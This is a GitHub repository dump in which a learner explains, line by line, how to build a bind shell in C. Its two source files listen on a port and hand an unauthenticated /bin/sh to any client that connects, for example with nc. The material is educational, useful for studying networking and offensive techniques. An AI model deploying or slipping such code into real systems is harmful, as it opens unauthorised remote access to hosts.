├── README.md ├── bindshell.c ├── bindshellex.c └── dup2.jpg /README.md: -------------------------------------------------------------------------------- 1 | # Creating a Bind Shell in C 2 | 3 | ## Usage 4 | Server: `./bindshell ` 5 | 6 | Client: `nc ` 7 | 8 | ## Disclaimer 9 | I am new to C programming and currently learning through [h0mbre’s](https://github.com/h0mbre/Learning-C) C course. I make no claim to the code. Much of it comes from [Beej's](https://beej.us/guide/bgnet/html//index.html#sendrecv) and [Robert Ingalls’s](http://www.cs.rpi.edu/~moorthy/Courses/os98/Pgms/socket.html) guides. Their content was instrumental to my understanding of network programming. I am simply sharing my learning process. 10 | 11 | ## Code Description 12 | ```c 13 | int sockfd, newsockfd, portno; 14 | ``` 15 | First, we declare three `integer` variables; `sockfd` the listener socket, `newsockfd` the client socket, and `portno` the port number. 16 | 17 | --- 18 | 19 | ### Structs: 20 | ```c 21 | struct sockaddr_in serv_addr; 22 | ``` 23 | Then, we create an instance of `sockaddr_in` called `serv_addr`. `sockaddr_in` is defined in `` and its definition[^1] is as follows: 24 | ```c 25 | // (IPv4 only) 26 | 27 | struct sockaddr_in { 28 | short int sin_family; // Address family, AF_INET 29 | unsigned short int sin_port; // Port number 30 | struct in_addr sin_addr; // IP address 31 | unsigned char sin_zero[8]; // Same size as struct sockaddr 32 | }; 33 | 34 | // Internet address 35 | struct in_addr { 36 | uint32_t s_addr; // 32-bit int (4 bytes) 37 | }; 38 | ``` 39 | `struct sockaddr_in` is a parallel structure to `struct sockaddr` which is used for specifically for `IPv4`, and contains fields for the server `IP` address, port number, etc. 40 | 41 | --- 42 | 43 | ### `socket()` 44 | Synopsis[^2]: 45 | ```c 46 | int socket(int domain, int type, int protocol); 47 | ``` 48 | bindshell.c code: 49 | ```c 50 | sockfd = socket(AF_INET, SOCK_STREAM, 0); 51 | ``` 52 | So, the `socket()` system call creates a socket (represented as a file descriptor) that provides a communication endpoint for two processes on any two hosts to communicate with each other (like on the Internet)[^3]. 53 | - `domain` is set to `AF_INET`. This is the communication domain of the socket, which in this case, is the Internet domain for `IPv4`. 54 | - `type` is set to `SOCK_STREAM` which is a socket type that provides a reliable, two-way communication stream using `TCP`. 55 | - `protocol` is set to `0` so the operating system will choose `TCP` as the default protocol (as `AF_INET` and `SOCK_STEAM` was used). 56 | 57 | --- 58 | 59 | ### 60 | ```c 61 | bzero((char *) &serv_addr, sizeof(serv_addr)); 62 | ``` 63 | `bzero()`[^4] function is then called to initializes `serv_addr` to zeros. 64 | 65 | --- 66 | 67 | ### 68 | ```c 69 | portno = atoi(argv[1]); 70 | ``` 71 | `bindshell.c` takes one command-line argument which is the port number on which the server will listen. This is assigned to `portno`, but is first converted to an integer as it is a string of digits. 72 | 73 | --- 74 | 75 | ### 76 | ```c 77 | serv_addr.sin_port = htons(portno); 78 | ``` 79 | `serv_addr.sin_port = htons(portno);` assigns the port number to the `serv_addr.sin_port` field, and `htons()`[^5] is used to convert the port number from `host byte order` to `network byte order` (`ntohs()` does the reverse). This conversion ensures that the port number is represented consistently across different systems, regardless of their byte order. 80 | 81 | --- 82 | 83 | ### 84 | ```c 85 | serv_addr.sin_family = AF_INET; 86 | ``` 87 | `AF_INET` (which is the Internet domain for `IPv4`) is assigned to `serv_addr.sin_family`. 88 | 89 | --- 90 | 91 | ### 92 | ```c 93 | serv_addr.sin_addr.s_addr = INADDR_ANY; 94 | ``` 95 | `INADDR_ANY` sets the server socket to listen on all `IPv4` addresses available on the host and is assigned to `serv_addr.sin_addr.s_addr`. 96 | 97 | --- 98 | 99 | ### `bind()` 100 | Synopsis[^6]: 101 | ```c 102 | int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen); 103 | ``` 104 | bindshell.c code: 105 | ```c 106 | bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr) 107 | ``` 108 | So, the `bind()` system call binds a socket to the `IP` address of the host and port number on which the server will run. It requires a pointer to `struct stockaddr` as its second argument, but we only created an instance of `sockaddr_in` called `server_addr`. However, you can use a cast to treat the `struct sockaddr_in` pointer as a `struct sockaddr` pointer and pass it to `bind()` because they are the same size and have similar layouts. 109 | 110 | --- 111 | 112 | ### `listen()` 113 | Synopsis[^7]: 114 | ```c 115 | int listen(int sockfd, int backlog); 116 | ``` 117 | bindshell.c code: 118 | ```c 119 | listen(sockfd, 0); 120 | ``` 121 | This system call is used to wait and listen for a connection from clients on the socket. The `backlog` argument is for the number of connections which you allow to wait in a queue before you `accept()` the connection. `0` is used here so the socket will accept one connection at a time. 122 | 123 | --- 124 | 125 | ### `accept()` 126 | Synopsis[^8]: 127 | ```c 128 | int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen); 129 | ``` 130 | bindshell.c code: 131 | ```c 132 | newsockfd = accept(sockfd, NULL, NULL); 133 | ``` 134 | This system call accepts the pending connection in the queue, which is only `1` here, and returns a new socket file descriptor to use for this single connection, which is assigned to `newsockfd`. 135 | This means there are now two socket file descriptors; the original one is listening for any new connections (which go into the queue), and the new one for communication with the client. 136 | It isn’t necessary to know client's address information here, so the second and third arguments can be set to `NULL`. 137 | 138 | --- 139 | 140 | ### `dup2()` 141 | Synopsis[^9]: 142 | ```c 143 | int dup2(int oldfd, int newfd); 144 | ``` 145 | bindshell.c code: 146 | ```c 147 | dup2(newsockfd, i) 148 | ``` 149 | `dup2()` requires a bit of an explanation to why it is called. In a Unix-based OS, there is a `Process Table`, and each process maintains its own separate `File Descriptor Table` (FDT). This FDT is an array of `integers`, and each `integer` (called a `File Descriptor`) serves as a reference (a `pointer`) to an open input/output stream like an open file, a network connection, or a terminal. Index `0`, `1`, and `2` in this array represent standard input (`stdin`), standard output (`stdout`), and standard error (`stderr`), respectively. 150 | 151 | Here is an visual of the Process Table and File Descriptor Table: 152 | 153 | ### Process Table: 154 | 155 | | PID | PPID | ... (other attributes) | 156 | |-------|--------|------------------------| 157 | | 123 | 1 | ... | 158 | | 456 | 1 | ... | 159 | | ... | ... | ... | 160 | 161 | ### File Descriptor Table (Process with PID 123): 162 | 163 | | fd | 0 | 1 | 2 | 3 | 4 | 5 | ... | 164 | |-------|-------|-------|-------|-------|-------|-------|-------| 165 | | type | stdin | stdout| stderr| file | socket| ... | ... | 166 | | ... | ... | ... | ... | ... | ... | ... | ... | 167 | 168 | So, when `accept()` is called in `bindshell.c`, it returns a new file descriptor (named `newsockfd`) if a client connects to the server. This `newsockfd` represents a communication channel with the client. However, to enable communication through the terminal, we need to redirect the standard I/O streams (`stdin`, `stdout`, and `stderr`) to the clients connection (`newsockfd`) using the system call `dup2()`. This redirection allows the process to interact with the client using the standard I/O streams as if it were communicating through the terminal. 169 | 170 | This can be visualised like so: 171 | 172 | ![dup2](https://github.com/theokwebb/C_BindShell/blob/8606f33c778e71e60e2762f572da95c1d592ff1c/dup2.jpg) 173 | 174 | `dup2()` simply takes a file descriptor (`newsockft`) and copies it into another file descriptor (`stdin`, `stdout`, and `stderr`). 175 | 176 | If you’re still struggling to understand this, please see [Kris Jordan's](https://www.youtube.com/watch?v=PIb2aShU_H4) guide on `dub2()` and [USNA's](https://www.usna.edu/Users/cs/wcbrown/courses/IC221/classes/L09/Class.html) class on the Unix filesystem. 177 | 178 | --- 179 | 180 | ### `close()` 181 | Synopsis[^10]: 182 | ```c 183 | int close(int fd); 184 | ``` 185 | `close()`is called on the `newsockfd` file descriptor as it is no longer used as we duplicated it into the standard I/O streams. 186 | 187 | --- 188 | 189 | ### `execve()` 190 | Synopsis[^11]: 191 | ```c 192 | int execve(const char *pathname, char *const argv[], char *const envp[]); 193 | ``` 194 | bindshell.c code: 195 | ```c 196 | char *args[] = {"/bin/sh", NULL}; 197 | execve("/bin/sh", args, NULL) 198 | ``` 199 | `execve` replaces the current parent process (`bindshell.c`) with a shell process (`/bin/sh`), and inherits all the file descriptors (`stdin`, `stdout`, and `stderr`) from the `bindshell.c` process. 200 | 201 | --- 202 | 203 | See `bindshellex.c` for an extended version of the bind shell with greater usability. 204 | 205 | --- 206 | 207 | ## Update (19/08/2023) 208 | 209 | I recently showed my code to a [friend](https://github.com/b10s) who pointed out a really cool (unintentional) feature of the code: 210 | 211 | He asked me to consider what would happen if you run the program like so: `./bindshell hi` 212 | 213 | You may think that `atoi` will return `0` as it can't parse a number from the string `“hi”`, and thus fail. That’s partly correct; `atoi` will return `0`. However, it will actually attempt to `listen()` on port number `0`, and on Unix systems when you bind a socket to port number `0`, the OS will automatically assign a random free port number, so the program will actually run. 214 | 215 | Here’s the Unix logic: 216 | https://github.com/torvalds/linux/blob/master/net/ipv4/inet_connection_sock.c#L503 217 | 218 | You can test this for yourself by running `./bindshell hi` and then `sudo lsof -i -n | grep LISTEN` to see which port is open. 219 | 220 | Or you can replace lines 44 and 45: 221 | ```c 222 | printf("%s : listening for incoming connections " 223 | "on all interfaces, port %d.\n", argv[0], portno); 224 | ``` 225 | with: 226 | ```c 227 | socklen_t addr_len = sizeof(serv_addr); 228 | getsockname(sockfd, (struct sockaddr *) &serv_addr, &addr_len); 229 | printf("%s : listening for incoming connections " 230 | "on all interfaces, port %d.\n", argv[0], ntohs(serv_addr.sin_port)); 231 | ``` 232 | This new block of code will show the port that was randomly assigned. Unfortunately, without it, it will just print: 233 | `./bindshell : listening for incoming connections on all interfaces, port 0.` 234 | 235 | This is because after the `bind()`[^12] call, the socket `sockfd` is populated with the IP address and port number based on the `serv_addr` values. `serv_addr.sin_port`’s value is `0`, so `printf` prints `port 0`. However, `getsockname()`[^13] retrieves the current address to which the socket (`sockfd`) is bound (including the port number) and stores this in `serv_addr`. Thus, it gets the correct information from the system and prints the randomly assigned port. 236 | 237 | Credit goes to [0xtriboulet](https://twitter.com/0xTriboulet) and [b10s](https://github.com/b10s) for helping me to understand this. 238 | 239 | ### References: 240 | [^1]: https://beej.us/guide/bgnet/html//index.html#sendrecv 241 | [^2]: https://manual.cs50.io/7/socket 242 | [^3]: http://www.cs.rpi.edu/~moorthy/Courses/os98/Pgms/socket.html 243 | [^4]: https://manual.cs50.io/3/bzero 244 | [^5]: https://manual.cs50.io/3/htons 245 | [^6]: https://manual.cs50.io/2/bind 246 | [^7]: https://manual.cs50.io/2/listen 247 | [^8]: https://manual.cs50.io/2/accept 248 | [^9]: https://manual.cs50.io/2/dup2 249 | [^10]: https://manual.cs50.io/2/close 250 | [^11]: https://manual.cs50.io/2/execve 251 | [^12]: https://man7.org/linux/man-pages/man2/bind.2.html 252 | [^13]: https://man7.org/linux/man-pages/man3/getsockname.3p.html 253 | -------------------------------------------------------------------------------- /bindshell.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | void error(char *message) 9 | { 10 | perror(message); 11 | exit(EXIT_FAILURE); 12 | } 13 | 14 | int main(int argc, char *argv[]) 15 | { 16 | int sockfd, newsockfd, portno; 17 | struct sockaddr_in serv_addr; 18 | 19 | if (argc < 2) 20 | { 21 | fprintf(stderr, "Usage: %s \n", argv[0]); 22 | exit(EXIT_FAILURE); 23 | } 24 | 25 | sockfd = socket(AF_INET, SOCK_STREAM, 0); 26 | if (sockfd < 0) 27 | { 28 | error("ERROR opening socket"); 29 | } 30 | 31 | bzero((char *) &serv_addr, sizeof(serv_addr)); 32 | portno = atoi(argv[1]); 33 | serv_addr.sin_port = htons(portno); 34 | serv_addr.sin_family = AF_INET; 35 | serv_addr.sin_addr.s_addr = INADDR_ANY; 36 | 37 | if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) 38 | { 39 | error("ERROR binding socket"); 40 | } 41 | 42 | listen(sockfd, 0); 43 | 44 | printf("%s : listening for incoming connections " 45 | "on all interfaces, port %d.\n", argv[0], ntohs(serv_addr.sin_port)); 46 | 47 | newsockfd = accept(sockfd, NULL, NULL); 48 | if (newsockfd < 0) 49 | { 50 | error("ERROR accepting connection"); 51 | } 52 | 53 | for (int i = 0; i < 3; i++) 54 | { 55 | if (dup2(newsockfd, i) < 0) 56 | { 57 | error("ERROR redirecting file descriptors"); 58 | if (close(newsockfd) < 0) 59 | { 60 | error("ERROR closing newsockfd"); 61 | } 62 | } 63 | } 64 | if (close(newsockfd) < 0) 65 | { 66 | error("ERROR closing newsockfd"); 67 | } 68 | 69 | char *args[] = {"/bin/sh", NULL}; 70 | if (execve("/bin/sh", args, NULL) < 0) 71 | { 72 | error("ERROR executing shell"); 73 | } 74 | return 0; 75 | } 76 | -------------------------------------------------------------------------------- /bindshellex.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | void error(char *message) 10 | { 11 | perror(message); 12 | exit(EXIT_FAILURE); 13 | } 14 | 15 | int main(int argc, char *argv[]) 16 | { 17 | int sockfd, newsockfd, portno, clilen, servlen; 18 | struct sockaddr_in serv_addr, cli_addr; 19 | 20 | // Check if port is provided 21 | if (argc < 2) 22 | { 23 | fprintf(stderr, "Usage: %s \n", argv[0]); 24 | exit(EXIT_FAILURE); 25 | } 26 | 27 | // Create socket 28 | sockfd = socket(AF_INET, SOCK_STREAM, 0); 29 | if (sockfd < 0) 30 | { 31 | error("ERROR opening socket"); 32 | } 33 | 34 | // Set up server address 35 | bzero((char *) &serv_addr, sizeof(serv_addr)); 36 | portno = atoi(argv[1]); 37 | serv_addr.sin_port = htons(portno); 38 | serv_addr.sin_family = AF_INET; 39 | serv_addr.sin_addr.s_addr = INADDR_ANY; 40 | 41 | // Bind socket 42 | if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) 43 | { 44 | error("ERROR binding socket"); 45 | } 46 | 47 | // Listen for incoming connections 48 | listen(sockfd,0); 49 | 50 | printf("%s : listening for incoming connections " 51 | "on all interfaces, port %d.\n", argv[0], ntohs(serv_addr.sin_port)); 52 | 53 | // Accept connection 54 | clilen = sizeof(cli_addr); 55 | newsockfd = accept(sockfd, (struct sockaddr *)&cli_addr, &clilen); 56 | if (newsockfd < 0) 57 | { 58 | error("ERROR accepting connection"); 59 | } 60 | 61 | // Convert client IP address to string 62 | char cli_ip[INET_ADDRSTRLEN]; 63 | if (inet_ntop(AF_INET, &(cli_addr.sin_addr), cli_ip, INET_ADDRSTRLEN) == NULL) 64 | { 65 | error("ERROR converting client IP"); 66 | } 67 | // Get client's address 68 | if (getsockname(newsockfd, (struct sockaddr *) &cli_addr, &clilen) < 0) 69 | { 70 | error("ERROR getting client address"); 71 | } 72 | int cli_port = ntohs(cli_addr.sin_port); 73 | // Print connection details from client 74 | printf("Connection from [%s] %d.\n", cli_ip, cli_port); 75 | 76 | // Get server's address 77 | servlen = sizeof(serv_addr); 78 | if (getsockname(newsockfd, (struct sockaddr *)&serv_addr, &servlen) < 0) 79 | { 80 | error("ERROR getting server address"); 81 | } 82 | // Convert server IP address to string 83 | char serv_ip[INET_ADDRSTRLEN]; 84 | if (inet_ntop(AF_INET, &(serv_addr.sin_addr), serv_ip, INET_ADDRSTRLEN) == NULL) 85 | { 86 | error("ERROR converting server IP"); 87 | } 88 | // Send connection message to client 89 | char n[64] = {0}; 90 | snprintf(n, sizeof(n), "Connection to %s established.\n", serv_ip); 91 | if (write(newsockfd, n, sizeof(n)) < 0) 92 | { 93 | error("ERROR writing to socket"); 94 | } 95 | 96 | // Redirect file descriptors 97 | for (int i = 0; i < 3; i++) 98 | { 99 | if (dup2(newsockfd, i) < 0) 100 | { 101 | error("ERROR redirecting file descriptors"); 102 | if (close(newsockfd) < 0) 103 | { 104 | error("ERROR closing newsockfd"); 105 | } 106 | } 107 | } 108 | if (close(newsockfd) < 0) 109 | { 110 | error("ERROR closing newsockfd"); 111 | } 112 | 113 | // Execute shell 114 | char *args[] = {"/bin/sh", NULL}; 115 | if (execve("/bin/sh", args, NULL) < 0) 116 | { 117 | error("ERROR executing shell"); 118 | } 119 | return 0; 120 | } 121 | -------------------------------------------------------------------------------- /dup2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theokwebb/C_BindShell/d3dec6e7c459293dcbe13be0ebb195004ec9ae46/dup2.jpg --------------------------------------------------------------------------------